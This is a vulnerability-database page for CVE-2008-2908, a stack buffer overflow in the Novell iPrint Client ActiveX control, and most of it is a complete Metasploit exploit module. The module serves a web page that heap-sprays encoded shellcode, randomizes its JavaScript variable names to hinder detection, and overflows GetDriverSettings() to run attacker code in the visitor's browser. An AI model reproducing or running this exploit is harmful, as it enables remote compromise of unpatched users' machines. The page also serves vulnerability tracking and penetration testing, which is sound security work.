Novell iPrint Client ActiveX Control Buffer Overflow

🗓️ 19 Jun 2008 00:06:18Reported by MC <[email protected]>Type

Novell iPrint Client ActiveX Control Buffer Overflow. Stack buffer overflow in Novell iPrint Client 4.34 allows arbitrary code execution by sending long string to GetDriverSettings() property of ienipp.oc

Reporter	Title	Published	Views	Family All 14
Tenable Nessus	Novell iPrint Client Unspecified Vulnerability	18 Aug 200400:00	–	nessus
Tenable Nessus	Novell iPrint Client for Windows ienipp.ocx ActiveX Multiple Variable Overflow	20 Jun 200800:00	–	nessus
Circl	CVE-2008-2908	16 Jun 200800:00	–	circl
Check Point Advisories	Novell iPrint Client ActiveX Control Stack Buffer Overflow (CVE-2008-2908)	28 Jul 200800:00	–	checkpoint_advisories
CVE	CVE-2008-2908	30 Jun 200818:00	–	cve
Cvelist	CVE-2008-2908	30 Jun 200818:00	–	cvelist
Exploit DB	Novell iPrint Client - ActiveX Control Buffer Overflow (Metasploit)	16 Jun 200800:00	–	exploitdb
NVD	CVE-2008-2908	30 Jun 200818:24	–	nvd
Packet Storm	Novell iPrint Client ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	30 Jun 200818:24	–	prion

# -*- coding: binary -*-

###
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell iPrint Client ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Novell iPrint Client 4.34. When
        sending an overly long string to the GetDriverSettings() property of ienipp.ocx
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-2908'],
          [ 'OSVDB', '46194'],
          [ 'URL', 'http://web.archive.org/web/20081206030916/http://secunia.com:80/advisories/30709/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => '2008-06-16',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    content = %Q|<html>
<object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{randnop} = "#{nops}";
var #{rand2} = unescape(#{randnop});
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 700; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 99024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname});
</script>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

23 Mar 2023 10:43Current

7.9High risk

Vulners AI Score7.9

CVSS 29.3

EPSS0.35423